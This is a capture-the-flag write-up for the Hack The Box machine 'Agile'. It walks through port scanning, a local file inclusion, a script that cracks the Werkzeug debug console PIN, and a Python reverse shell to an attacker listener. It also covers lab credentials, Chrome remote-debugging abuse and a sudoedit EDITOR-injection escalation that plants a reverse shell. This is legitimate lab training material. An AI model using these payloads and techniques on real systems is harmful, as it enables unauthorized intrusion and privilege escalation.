4 minutes
Hackthebox Agile
Agile is a machine running on a Linux OS with a medium difficulty level. There was an unintended way to solve this machine, but it has since been patched, so we will cover the intended steps.
Foothold
The first step in a pentest is usually scanning the machine. Here, I used nmap for port scanning.
$ nmap -sV -sC -oN agile.nmap 10.10.11.203
Nmap scan report for 10.10.11.203
Host is up (0.12s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f4:bc:ee:21:d7:1f:1a:a2:65:72:21:2d:5b:a6:f7:00 (ECDSA)
|_ 256 65:c1:48:0d:88:cb:b9:75:a0:2c:a5:e6:37:7e:51:06 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://superpass.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The website redirects to the domain superpass.htb, so we need to add this domain to /etc/hosts.

The website has login and register features. After registering and logging in, we can save passwords on the website and export them as a CSV file.
While exporting passwords, I found an endpoint /download with an LFI (Local File Inclusion) vulnerability. This can be used for further enumeration. I used ZAP to simplify making requests and getting responses.

During enumeration, I concluded that the website is running in debug mode. I then attempted to bypass the Console PIN using the LFI vulnerability. Detailed steps are available in the following reference: Cracking Flask Werkzeug Console PIN.

Here is a modified script to generate a PIN.
import hashlib
import itertools
from itertools import chain
def crack_md5(username, modname, appname, flaskapp_path, node_uuid, machine_id):
h = hashlib.md5()
crack(h, username, modname, appname, flaskapp_path, node_uuid, machine_id)
def crack_sha1(username, modname, appname, flaskapp_path, node_uuid, machine_id):
h = hashlib.sha1()
crack(h, username, modname, appname, flaskapp_path, node_uuid, machine_id)
def crack(hasher, username, modname, appname, flaskapp_path, node_uuid, machine_id):
probably_public_bits = [
username,
modname,
appname,
flaskapp_path ]
private_bits = [
node_uuid,
machine_id ]
h = hasher
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
if __name__ == '__main__':
usernames = ['www-data']
modnames = ['flask.app', 'werkzeug.debug']
appnames = ['wsgi_app', 'DebuggedApplication', 'Flask']
flaskpaths = ['/app/venv/lib/python3.10/site-packages/flask/app.py']
nodeuuids = ['345052398398'] # /sys/class/net/eth0/address
machineids = ['ed5b159560f54721827644bc9b220d00superpass.service']
combinations = itertools.product(usernames, modnames, appnames, flaskpaths, nodeuuids, machineids)
for combo in combinations:
username, modname, appname, flaskpath, nodeuuid, machineid = combo
print('==========================================================================')
crack_sha1(username, modname, appname, flaskpath, nodeuuid, machineid)
print(f'{combo}')
print('==========================================================================')
Run this script to generate several PINs, and use the generated PINs to log into the console.

After accessing the console, execute a Python script for a reverse shell. I used revshells.com to generate the reverse shell script.
import os, pty, socket
s = socket.socket()
s.connect(("LHOST", LPORT))
[os.dup2(s.fileno(), f) for f in (0, 1, 2)]
pty.spawn("bash")

User
Before getting the initial shell, I reviewed the website’s source code and found a snippet in app.py.
---SNIPPED---
def setup_db():
db_session.global_init(app.config['SQL_URI'])
---SNIPPED---
def load_config():
config_path = os.getenv("CONFIG_PATH")
with open(config_path, 'r') as f:
for k, v in json.load(f).items():
app.config[k] = v
---SNIPPED---
Checking the environment with the env command revealed the config file path: /app/config_prod.json. The content of this file includes SQL_URI, which contains credentials for MySQL.
{"SQL_URI": "mysql+pymysql://superpassuser:dSA6l7q*yIVs$39Ml6ywvgK@localhost/superpass"}
Access the database using the mysql command and retrieve the password for user corum from the passwords table.

Log in via SSH as corum with the password 5db7caa1d13cc37c9fc2, and the user.txt file is in the home directory.

Root
After getting a shell as corum, I enumerated the system and found other users like edwards and runner. I suspected I needed to access another user before reaching root. Eventually, I noticed a Chrome process running with the remote debugging option.

Perform port forwarding from port 41829 to your local machine. Then, use chrome://inspect for debugging. Access test.superpass.htb/vault to find credentials for logging in as edwards.
Reference: https://developers.google.com/cast/docs/debugging/remote_debugger

Log in via SSH as edwards and check sudo -l. There is a command that can be executed as dev_admin.

Use this command to edit the contents of another file, specifically /app/venv/bin/activate, since it will be executed when the root user logs in and can be edited by a user in the dev_admin group.
$ ls -l /app/venv/bin/activate
-rw-rw-r-- 1 root dev_admin 1976 Aug 5 18:48 /app/venv/bin/activate
$ cat /etc/bash.bashrc | tail -n2
# all users will want the env associated with this application
source /app/venv/bin/activate
To edit the file, use the following command:
EDITOR='vim -- /app/venv/bin/activate' sudoedit -u dev_admin /app/config_test.json

Add a reverse shell command to /app/venv/bin/activate, save the file, and set up a listener to receive the reverse shell from the root user.

Rooted!